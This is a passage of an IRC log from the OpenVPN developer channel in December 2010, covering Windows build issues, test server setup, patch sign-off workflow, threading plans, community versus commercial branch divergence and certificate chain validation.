Python-based builds working 03:45 <@dazo> mattock: is our windows build box functional now? 03:45 * dazo will probably need to test out his stuff on windows as well, to be sure nothing break 03:45 <@dazo> s 03:45 <@mattock> the openvpnserv.exe stuff does not build yet 03:45 <@mattock> linker issues 03:46 <@mattock> and the NSI installer building is work in progress 03:46 <@mattock> so, openvpn.exe and tap driver builds nicely, but making releases is not possible yet 03:46 <@dazo> mattock: that link stuff should be fixed 03:47 <@mattock> yep, I don't think it's a difficult issue to solve 03:47 <@dazo> mattock: commit 709271e8af5d19472cb200956bcc9b756a655f77 03:47 <@dazo> its even in beta2.2 03:47 <@dazo> in fact, that's the only patch in the queue currently for RC :) 03:48 * d457k has been woken up 03:50 <@mattock> dazo: you can access the Windows build computer, too 03:50 <@mattock> it's in the community vpn 03:50 <@cron2> mattock: ok, so what do I do with the credentials now? 03:50 <@dazo> yeah, I've never tried ... but I know you sent me some info about it :) 03:51 <@mattock> cron2: I've been distracted, just a sec... I'll minimize this chat window :) 03:54 <@d457k> janjust: so what is it you suspect? 03:54 <@d457k> cron2: btw i'm a windows noob as much as you are 03:55 < janjust> hi d457k ; what I suspect is the way that the SECURITY_DESCRIPTOR is initialized 03:55 < janjust> when using '--allow-nonadmin' the 'sd' struct is actually filled with some info, within the tapdrvr source it is justed filled with 0s 03:56 <@d457k> 0s are the default desc. but i can recall what the default behavior was 03:57 <@d457k> can't 03:57 <@d457k> it might even be different betweent kernel and userspace 03:59 < janjust> ah I see; the thing is , when setting "AllowNonAdmin" = "Allowed' in the tap-win32 driver Windows does not accept connections on tcp port 445 03:59 < janjust> "AllowedNonAdmin" = "Allowed" means the SD is filled with 0s 04:00 < janjust> when using "--allow-nonadmin" windows *does* accept connections on tcp port 445 ; this leads me to believe that the security descriptor has some influence on the windows internals 04:00 < janjust> it might also affect how the adapter is brought back to life after a resume 04:03 <@d457k> well, the SDs regulate who can open, write, etc. stuff, e.g. the FD for the adapter, so if the SD is more strict in one case it could be an issue 04:04 <@d457k> is ovpn failing when it tries to open the adapter 04:05 < janjust> I don't know actually: I have not been able to reproduce the "fails to resume" bug but I thought James and someone else (you?) did manage 04:08 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 260 seconds] 04:09 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 04:27 -!- common- [~common@p5DDA4608.dip0.t-ipconnect.de] has joined #openvpn-devel 04:29 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 260 seconds] 04:30 < common-> dazo: I think some "History" thing on community which explains the history and current structure of openvpn development would be nice 04:30 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 04:31 < common-> e.g. I have no idea about the community/company relations, and the chain of command 04:31 -!- common [~common@p5DDA49F3.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds] 04:31 -!- common- is now known as common 04:36 < janjust> mattock? dazo? check MyFirstEntry on the community wiki: https://community.openvpn.net/openvpn/wiki/Using_Certificate_Chains 04:36 <@vpnHelper> Title: Using_Certificate_Chains – OpenVPN Community (at community.openvpn.net) 04:37 < common> janjust: actually I think the openssl commands to verify the structure would be nice 04:37 <@dazo> janjust: will read up on that later today ... but first glance looks like a success :) 04:37 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 240 seconds] 04:37 * dazo heads out for lunch 04:37 <@mattock> looks good! 04:38 < janjust> common: it's hard to verify the structure of a certificate chain using openssl command 04:38 < janjust> 'openssl verify' barfs on a chain unless you feed it all sub CAs 04:38 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 04:40 < common> but you get the idea? 04:41 < janjust> the section on how to use X509 cerst should be expanded quite a bit, including on how to run things like 'openssl verify' 04:41 < janjust> but that's outside the scope of using certificate chains, which is what this wiki entry is about 04:59 <@cron2> meh 04:59 <@cron2> seems FreeBSD 8 changed the semantics for ifconfig/route 05:00 <@cron2> requiring an explicit route for "ifconfig" ipv6 addresses 05:06 -!- janjust [~janjust@s5596c956.adsl.wanadoo.nl] has quit [Quit: Leaving] 05:09 <@cron2> haha 05:09 <@cron2> testing works now with mattock's test server, for v4 and v6 05:09 <@cron2> (only tun, for the time being, as tap is broken on the server side - no support in kernel...) 05:10 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 260 seconds] 05:11 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 05:28 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 240 seconds] 05:29 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 05:34 <@mattock> cron2: a kernel module missing? 05:34 <@mattock> I mean, a "stock" kernel module... 05:40 <@cron2> mattock: if_tap needs to be laoded 05:41 <@mattock> it was/is: 4 1 0xffffffff8104f000 258e if_tap.ko 05:42 <@cron2> I have manually loaded it now, so tap works now 05:42 <@mattock> ok 05:42 <@cron2> it should be reboot proof 05:42 <@mattock> I'll add it to rc.conf 05:42 <@cron2> see your mail :) 05:43 <@mattock> yep, read it... 05:45 <@mattock> oh, /boot/loader.conf is up-to-date already 05:45 <@cron2> I tried to say "I think I've done everything to make it reboot proof" :-) 05:49 <@mattock> ok, misread you :) 05:49 <@mattock> or misinterpreted, rather 05:50 <@mattock> (it's just that my earlier boss was unable to make anything reboot-proof, so I'm always cautious) :D 06:09 <@cron2> mattock: so does it work for you now? 06:09 <@mattock> let me check, didn't yet try the new t_client.rc 06:09 <@cron2> (adapt the path to your keys :) ) 06:12 <@mattock> yeah, even ipv6 ping tests (in test 1) work now 06:13 <@cron2> \o/ 06:13 <@mattock> same with test 2 06:13 <@mattock> we could use test.myvpnclient.com instead of the numeric IP address 06:14 <@mattock> everything worked 100% ok 06:14 <@mattock> tests 1-4 06:15 <@mattock> thanks for setting this up, cron2! 06:17 < ecrist> morning folks 06:22 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 260 seconds] 06:22 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 06:29 <@cron2> mattock: glad it's working now :-) - and I'm looking forward to seeing build cluster reports with "all tests passed!" 06:30 <@mattock> does the script say "ERROR: <something>" if tests fail? 06:30 <@mattock> buildbot expects to see either ERROR or WARNING printed out 06:31 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 06:31 <@mattock> integration to buildbot itself should be trivial, once the changes are in the repository 06:31 <@mattock> to t_client.rc etc 06:32 <@cron2> I think it says "FAIL" 06:54 < ecrist> Essobi: yes, I'd like to see it. Are you planning on submitting a PR for the patch to the -devel port? 07:12 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 265 seconds] 07:13 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 07:18 <@mattock> dazo: first version of "How to contribute" is here: https://community.openvpn.net/openvpn/wiki/Contributing 07:18 <@vpnHelper> Title: Contributing – OpenVPN Community (at community.openvpn.net) 07:18 <@mattock> I'll update the patch ACK process description now 07:20 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 272 seconds] 07:21 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 07:30 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 260 seconds] 07:31 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 07:36 <@mattock> https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#Communitypatchesandtheacceptanceprocessofthesepatches 07:36 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 08:01 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 265 seconds] 08:01 < common> how does this signed-off chain apply to openvpn? 08:02 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 08:05 <@dazo> common: I'm not sure I understand you question :) 08:05 <@dazo> the signed-off ... is kind of like a signature of approval 08:05 < common> sure 08:06 < common> but each signed-off requires somebody else to take, apply, and re-commit the patch? 08:06 <@dazo> ahh 08:06 <@dazo> well, the signed-off can just be added manually to the patch file 08:07 <@dazo> I'm grateful for Peter Stuge who actually writes in his ACK's on the mailing list: Acked-by: ..... that's just copy paste for me 08:07 <@dazo> but as I do apply each of these patches manually, to the tree ... I am in a position to add the final ones 08:07 <@dazo> git am -s ... also adds my Signed-off automatically 08:08 < common> yes, but for the kernel, there are subsystem maintainers etc 08:08 < common> who apply, and sign-off 08:08 <@dazo> A Signed-off basically indicates that the patch has been commited to one or more git trees 08:09 < common> do you really want people to send in the same patch several times with a sign-off, maybe for several revisions of the patch? 08:09 <@dazo> So when you do commit stuff .... git commit -s .... when applying someone else's patches to your tree ... git am -s 08:10 <@dazo> Signed-off can be sent as a single line as a response to the ML 08:10 < common> k 08:10 < common> besides, who runs openvpn - what are the ties between the community and the company? 08:10 <@dazo> As I anyway work with these patch files, adding that is no big deal 08:10 <@dazo> mattock and james is the bridge ... otherwise, the rest here are volunteers 08:11 <@dazo> (volunteers == community) 08:12 * cron2 is just here to make snide remarks 08:12 < common> and whats the main difference in the access server product and the community version? 08:13 < ecrist> dazo: see pm, pls 08:13 <@dazo> AS is the community server wrapped in into some closed source admin interface 08:15 -!- helmut [helmut@subdivi.de] has quit [Remote host closed the connection] 08:15 < common> and who steers development? 08:17 < ecrist> dazo does, mostly 08:17 < ecrist> I would say cron and james are a close second. :) 08:18 <@dazo> I do my best to follow james' guidelines and directions ... but I do take decisions on areas where I feel sure James agrees 08:19 <@dazo> and I do consider cron2 my most reliable second source 08:19 < ecrist> I'd still like to see ToasterAPI incorporated and GetMeABeer.c 08:19 < ecrist> don't know why you won't take my advice 08:21 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Remote host closed the connection] 08:21 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 08:22 * cron2 seconds GetMeABeer.c, good stuff this isi 08:24 * dazo awaits the patch files and formal ACKs 08:28 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 272 seconds] 08:29 -!- janjust [~janjust@s5596c956.adsl.wanadoo.nl] has joined #openvpn-devel 08:29 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 08:29 * cron2 looks at ecrist to send the files 08:29 * ecrist feels obligated to come up with a GetMeABeer.c now 08:30 < ecrist> I've been thinking about rolling TaosterAPI into ToastandCoffeeAPI anyways 08:31 <@dazo> ecrist: may I suggest a more generic VendingMachineAPI? 08:31 <@dazo> makes it easire to expand with new features later on 08:32 <@dazo> and ServeBeer() method is probably easier to implement in the long run 08:32 * ecrist is still learning. 08:34 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 255 seconds] 08:35 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 08:38 * janjust is also still learning: where to get the /openvpn/support/.... hostnames? do I need to cough up some dough to FreeNode? 08:40 < ecrist> no, just ask me 08:40 < ecrist> openvpn/community/developer/janjust? 08:41 < janjust> yeah, or support , don't know if I qualify as developer ;-) 08:42 < ecrist> ok 08:44 -!- janjust [~janjust@s5596c956.adsl.wanadoo.nl] has quit [Changing host] 08:44 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 08:46 <@mattock> ecrist: I'd like to get a cloak, too 08:46 < ecrist> don't you have one, mattock? 08:46 <@mattock> I don't think so 08:46 <@mattock> what would I have to do to get one? 08:46 < ecrist> what is your title over there? 08:47 < ecrist> you get openvpn/corp/something/mattock 08:47 < ecrist> are you and admin? 08:47 <@mattock> hmm, damn pidgin... 08:48 < ecrist> ? 08:49 <@mattock> I don't know where to check if I got the cloak 08:49 < ecrist> you don't, I looked 08:49 <@mattock> ok 08:49 <@mattock> what did it say? 08:49 < ecrist> what's your title? 08:50 < janjust> ecrist? did I get my cloak? because I still see my old address 08:50 <@mattock> janjust: you got the cloak alright 08:50 < ecrist> 08:44 -!- janjust [~janjust@s5596c956.adsl.wanadoo.nl] has quit [Changing host] 08:50 < ecrist> 08:44 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 08:50 < janjust> kewl! 08:50 < ecrist> mattock: what is your title at openvpn? 08:51 <@mattock> oh, that title 08:51 <@mattock> well, "community manager", but that's pretty long 08:51 * ecrist gives him admin 08:52 <@mattock> ecrist: thanks! 08:52 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Changing host] 08:52 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:52 -!- ServerMode/#openvpn-devel [+o mattock] by gibson.freenode.net 08:52 < ecrist> I suppose we could have stuck you as a developer, too 08:53 <@mattock> well, it does not matter 08:53 <@mattock> I'm more admin than developer anyways 08:54 * janjust thinks mattock is more of a Manager than a developer ;-) 08:54 <@mattock> yeah, that too 08:54 <@mattock> but I don't like the sound of being a "manager"... :) 08:54 <@mattock> "community manager" is different, but generic manager... argh ;) 08:54 < janjust> hehe that's why I wrote it , mana, err, mattock 08:54 <@mattock> :D 09:03 -!- dazo is now known as dazo_afk 09:04 -!- helmut [helmut@188.40.101.234] has joined #openvpn-devel 09:18 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 09:59 < Essobi> ecrist: You see me message last night? 10:00 < Essobi> *my 10:12 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 240 seconds] 10:17 -!- dazo_afk is now known as dazo 10:40 -!- Netsplit *.net <-> *.split quits: @raidz, common, krzee, helmut, agi, @d457k, @patelx, EvilJStoker, @cron2, @vpnHelper, (+2 more, use /NETSPLIT to show all of them) 10:42 -!- Netsplit over, joins: helmut, common, @vpnHelper, @cron2, @raidz, EvilJStoker, waldner, krzee, @patelx, agi (+2 more) 11:08 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 11:08 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 11:08 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:10 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 240 seconds] 11:25 -!- Essobi [~Essobi@pixout.appriss.com] has joined #openvpn-devel 11:26 < Essobi> ecrist: You see my message from last night? 11:33 < ecrist> yes 11:33 < Essobi> Interested in it? 11:33 < ecrist> you must not have a lastlog or highlight enabled. ;) 11:33 < ecrist> yes, I am 11:33 < ecrist> are you planning on sending a PR for openvpn-devel port? 11:34 < Essobi> Sorry.. My PFsense router is flapping. :\ 11:34 < Essobi> Well, I was going to ask you what the different openvpn-* ports were.. I havn't looked yet, but I wasn't sure if I should make a patch for all three. ;) 11:35 < ecrist> nah, make a patch for -devel (that's what it's for) 11:35 < ecrist> if all is well, m-a and I will port it to -beta and the main port 11:41 < Essobi> Roger that... Someone pointed out the other night all the little bits that are using their own crypto in openvpn... 11:42 < Essobi> Anyone have that log or remember who it was? ;) 11:42 < Essobi> I want to say it was cron2 or krzie, but I don't recall. 11:47 -!- Essobi [~Essobi@pixout.appriss.com] has quit [Quit: leaving] 11:47 <@cron2> not me 11:48 <@cron2> I understand packets, but not crypto 11:48 < krzie> not i 11:56 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 12:57 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:57 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:00 <@dazo> jamesyonan! Just the right time to show up :) have you seen my mail? 13:01 <@jamesyonan> dazo: hi -- I'm just taking a look at it now 13:01 <@dazo> thx a lot! 13:02 -!- fahmad [~linux@vpn.server4sale.com] has joined #openvpn-devel 13:02 < fahmad> hello 13:02 < fahmad> i have questions 13:02 < fahmad> question ... 13:02 <@dazo> fahmad: shoot! 13:03 <@dazo> (at least if it is development related :)) 13:03 < fahmad> dazo: can we allow management port connect more then one ? 13:03 < fahmad> yes 13:03 < fahmad> it is because ... 13:03 < fahmad> i have seen then if one user is connect to management then it will not allow another until one is finished :) 13:04 <@dazo> fahmad: that's pretty much expected right now, as the application is not threaded ... and the socket implementation for management interface is simpler than the event handling for OpenVPN connections 13:05 < fahmad> humm 13:05 <@dazo> fahmad: so, as a quick answer ... in the 2.x series, that's not going to be a little or trivial thing to fix ... for OpenVPN 3, we are looking at threading, so there it will be possible 13:05 < fahmad> so it means i will see this change near future .. 13:05 <@dazo> not near future 13:06 < fahmad> means :) 13:06 < fahmad> it will take time :) 13:06 <@dazo> yeah, unfortunately 13:06 < fahmad> ok 13:06 < fahmad> no problem 13:06 < fahmad> thanks for the answer :) 13:06 -!- fahmad [~linux@vpn.server4sale.com] has left #openvpn-devel [] 13:14 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has joined #openvpn-devel 13:14 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has quit [Changing host] 13:14 -!- dazo_h [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:14 -!- mode/#openvpn-devel [+o dazo_h] by ChanServ 13:15 -!- dazo is now known as dazo_afk 13:15 -!- dazo_h is now known as dazo 13:29 <@jamesyonan> dazo: patch seems fine to me 13:31 <@jamesyonan> I think the bigger issue is that we want to move toward a plugin model for arbitrary changes to the cert analysis code 13:33 <@jamesyonan> this will also neatly solve the issue about having to clutter up the code with #ifdefs because as a module, the conditionalization would move from compile time to run time 13:40 <@dazo> jamesyonan: yeah, that makes sense 13:41 <@dazo> jamesyonan: I'll commit that patch to the tree then and then we will see how we move towards the plug-in model, and when we explicit require such authentications to happen in plug-ins 13:41 <@jamesyonan> sounds good 13:41 <@dazo> the plug-in v3 API might be a move into that direction as well, which provides the X509 structure to the plug-ins 13:42 <@dazo> if you have a chance to also look at that patch-set, that'd be great ... but that's less of a rush :) 14:08 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:08 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:19 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 14:20 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:20 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 16:06 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 16:26 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Quit: leaving] 17:03 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 18:30 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] --- Day changed Sat Dec 18 2010 04:31 -!- common [~common@p5DDA4608.dip0.t-ipconnect.de] has quit [Ping timeout: 265 seconds] 04:33 -!- common [~common@p5DDA4B90.dip0.t-ipconnect.de] has joined #openvpn-devel 06:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:42 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 07:29 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 10:47 < common> dazo_afk: using threads for io-bound operation is a dead end 11:20 <@cron2> common: I think the idea is to use (few) threads to distribute compute load, mainly for crypto handling 11:21 <@cron2> (and as far as I understand, we're cpu-bound today, not io-bound) 12:35 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 260 seconds] 12:36 -!- d457k [~heiko@vpn.astaro.de] has joined #openvpn-devel 12:36 -!- mode/#openvpn-devel [+o d457k] by ChanServ 13:57 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:57 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:25 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 18:49 -!- openvpn2009 [patel@openvpn/corp/admin/patel] has joined #openvpn-devel 18:49 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 23:41 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 276 seconds] --- Day changed Sun Dec 19 2010 01:03 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 04:28 -!- common- [~common@p5DDA45ED.dip0.t-ipconnect.de] has joined #openvpn-devel 04:31 -!- common [~common@p5DDA4B90.dip0.t-ipconnect.de] has quit [Ping timeout: 265 seconds] 04:31 -!- common- is now known as common 06:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 09:58 -!- roentgen [~arthur@2001:4d18:3:1:ffff:ffff:ffff:1] has joined #openvpn-devel 09:58 -!- roentgen [~arthur@2001:4d18:3:1:ffff:ffff:ffff:1] has quit [Changing host] 09:58 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 11:56 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Read error: Operation timed out] 11:59 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 12:45 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 12:45 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 12:45 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:52 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:11 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 15:15 -!- Netsplit *.net <-> *.split quits: @cron2, @openvpn2009, @raidz, Essobi, EvilJStoker 15:20 -!- Netsplit over, joins: Essobi, @openvpn2009, EvilJStoker, @raidz, @cron2 16:59 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has quit [Ping timeout: 240 seconds] 17:06 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 20:23 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 264 seconds] --- Day changed Mon Dec 20 2010 03:02 -!- dazo_afk is now known as dazo 03:36 <@dazo> cron2 is correct ... we hare CPU bound primarily ... OpenVPN as today will only use 1 CPU core, no matter how fancy CPU you have ... to be able to spread separate workloads to separate CPU cores, you can gain higher overall performance ... but having more threads than CPU cores is a dangerous path to walk, at least if all threads have a high workload ... idle threads (like a management interface mostly will be) is less of a performance 03:36 <@dazo> issue 03:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:47 <@dazo> mattock: what do you think about tagging the RC already? And who will do the Windows builds? 03:47 <@mattock> dazo: I got no objections against tagging 03:47 <@mattock> but Windows build will not be ready before Christmas 03:47 <@dazo> then I'll do that and prepare tarball and zip file 03:48 <@mattock> ok 03:48 <@dazo> fair enough ... I just want to avoid being the obstacle :) 03:53 <@dazo> mattock: how far away are we with building our own Windows packages? ... It's the NSIS installer which is left, isn't it? 03:54 <@mattock> well, I got to sort out the openvpnserv.exe linker issue 03:54 <@dazo> that's solved now ... isn't it? 03:54 <@mattock> not by me, at least :) 03:54 <@dazo> I've committed a patch for that 03:54 <@mattock> I can check the error message today 03:54 <@dazo> it's in the beta branch already 03:54 <@mattock> oh, I'll check that out 03:55 <@dazo> commit 709271e8af5d19472cb200956bcc9b756a655f77 03:55 <@dazo> Author: Matthias Andree <matthias.andree@gmx.de> 03:55 <@dazo> Change variadic macros to C99 style. 03:55 <@mattock> that's an older issue 03:55 <@mattock> anyways, I'll check the exact error message today and post it here 03:55 <@dazo> please do :) 03:56 <@dazo> aha 03:56 <@dazo> something new ... 03:56 <@mattock> yep 03:56 <@mattock> probably trivial to fix, but I don't know how it's supposed to work 03:59 <@dazo> mattock: if it's possible to have this fixed today ... I can hold the tagging so we get it into the tree today or tomorrow ... From 22-27th I'll be more busy with more family stuff :) 04:00 <@mattock> ok, we can try that 04:00 <@mattock> I got some spare (=work) time right now 04:01 <@dazo> cool! ... and I do have a low peak as well, so it's best time for me now as well :) 04:01 <@mattock> I'll be working more during Christmas holidays (to have _something_ to do :) 04:01 <@mattock> excellent! 04:01 <@mattock> I got to write some emails first 04:01 <@dazo> from 27th, I'll begin restructuring the git tree :) 04:01 <@dazo> jamesyonan: are you ready to do a switch from SVN to git with our 2.2 release? 04:06 <@jamesyonan> dazo: when are you thinking? 04:06 <@dazo> jamesyonan: the release is scheduled first half of January 04:07 <@jamesyonan> I'm crazy busy right now (as usual) 04:08 <@dazo> I'm going to clean up the git branches somehow and prepare a new master branch which will be the base of the 2.2 release ... so that will be the core base of the further development ...merging in your BETA21 branch is getting more and more challenging, as your branch is diverging more and more now 04:09 <@dazo> jamesyonan: yeah, I understand you're under a heavy load ... but getting you over to a more up-to-date base begins to get critical :( 04:14 <@jamesyonan> dazo: well there's two issues here -- one is that I'll need to maintain the BETA21 branch for some time to come because we use it extensively in production 04:15 <@jamesyonan> the other issue is switching over to git 04:18 <@dazo> I see that there are several parts here which I am not aware of, or have been made aware of ... one thing which is very unclear to me is what you refer to as 'production' ... does that mean that the AS product uses a different code base of OpenVPN than the community version is? 04:19 <@jamesyonan> the AS uses BETA21 04:19 <@dazo> and I take it then that it will be a while until AS will move over to the 2.2 release? 04:20 <@jamesyonan> no, there's absolutely no proprietary changes to the openvpn base that is used in the AS 04:21 <@dazo> Are there then some issues related to moving AS over to a 2.2 based version? .... I'm just trying to get a understanding of the situation 04:21 <@jamesyonan> it's mostly about stability 04:23 <@dazo> fair enough ... how can we assure you that 2.2 is stable? .... I've been running 2.2-beta3 and beta5 in production as client and server since their releases ... and I'm using those base on several of my development boxes ... I believe mattock have some download statistics on the beta releases as well 04:27 <@jamesyonan> well the problem with upgrades in general is that they are viewed differently in the open source vs. commercial software worlds 04:27 <@dazo> Considering that 2.2 is in fact a minor update, with minimal feature changes (there are some new features) but mostly bugfixes ... it's a little and careful step from the 2.1 base 04:28 <@jamesyonan> in commercial software, you generally have to be very conservative about making change to core components. 04:29 -!- common- [~common@p5DDA4ADF.dip0.t-ipconnect.de] has joined #openvpn-devel 04:29 <@dazo> Yeah, I do understand that .... I'm doing quality assurance for the realtime kernel in RHEL for a living :) 04:29 <@jamesyonan> that's great 04:31 <@dazo> Well, I am in no position to influence the AS product ... but I do want to make sure that the community edition don't divert to far away from your code base 04:31 <@jamesyonan> I think any commercial company that uses open source components in their products is going to have a lag time before they incorporate the latest versions of stuff 04:32 <@dazo> but the community edition will need to move faster .... but I also want to be sure we are able to get your changes into the tree in a good way 04:32 <@jamesyonan> yes, I completely agree, the divergence worries me 04:32 -!- common [~common@p5DDA45ED.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 04:32 -!- common- is now known as common 04:33 <@dazo> How we do things in RH is that we are heavily involved in upstream projects ... and then we define a branch point of for our release, and then we're backporting things from upstream to our releases 04:34 <@dazo> The situation I am in when merging in BETA21 commits to the git tree, is that I need to forward-port these patches to the upstream, due to merge conflicts ... the last 3 pulls I've done has given quite some merge conflicts, even though not impossible to solve ... but that they come more and more often is concerning 04:36 <@dazo> Backporting in from a upstream branch in git, is done very conveniently using git cherry-pick ... where you then pick only those commits which are needed in the commercial release, and you are in a better situation than me to be sure that potential merge conflicts are solved properly 04:38 <@dazo> and when you feel it's time rebase your commercial version against a newer community release, you just need to do a new branch, based on that release 04:38 <@dazo> (and of course backport those extra commits you want in addition) 04:41 <@jamesyonan> we're going to need time before we can rebase -- maybe 2nd quarter of next year 04:41 <@dazo> okay, fair enough 04:42 <@dazo> which version is AS shipping with now? 2.1.3? 04:43 <@jamesyonan> BETA21 svn trunk 04:43 <@dazo> aha ... so it is quite different from the 2.1.4 community version then 04:44 < krzie> i wouldnt have guessed that 04:46 <@jamesyonan> no, BETA21 is not very different from 2.1.4 04:48 <@dazo> 2.1.3 -> 2.1.4 is one or two patches .... but 2.13 to svn-BETA21 is 12 patches 04:48 <@jamesyonan> yeah, but they are small patches except for management-external-key 04:50 <@dazo> http://www.fpaste.org/UCnJ/ 04:51 < common> jamesyonan: what about CN vs. x509-username-field? 04:52 <@jamesyonan> what about it? 04:52 < common> the 'problem' of certificate chains is the same for CN as well as any other field in the cert 04:53 < common> if you can't rely on your CA, you have to take special measures to make sure certificate based authentication does the right thing 04:53 < common> independent of the field you use for the internal "common_name" of openvpn 04:54 <@jamesyonan> what do you mean by "rely on your CA"? 04:54 < common> which is why I'd like to see the x509/ext patches to be available by default 04:56 < common> if your have CA chains with your own sub-ca and want to make sure the certificate of a client is verified on to your sub-ca as root, as you do not trust your CA 04:56 <@jamesyonan> there's a bunch of different issues here that are colliding 04:56 < common> which? 04:56 <@jamesyonan> yes, if you don't trust your CA, you need to validate the full cert chain 04:57 <@dazo> Jan Just Keijser (JJK) did a little write-up about this here: https://community.openvpn.net/openvpn/wiki/Using_Certificate_Chains 04:57 <@vpnHelper> Title: Using_Certificate_Chains – OpenVPN Community (at community.openvpn.net) 04:59 < common> and? 04:59 <@jamesyonan> that's a great writeup 05:00 < krzie> first time seeing it, love it 05:00 <@dazo> common: that write-up does explain the whole scenario of 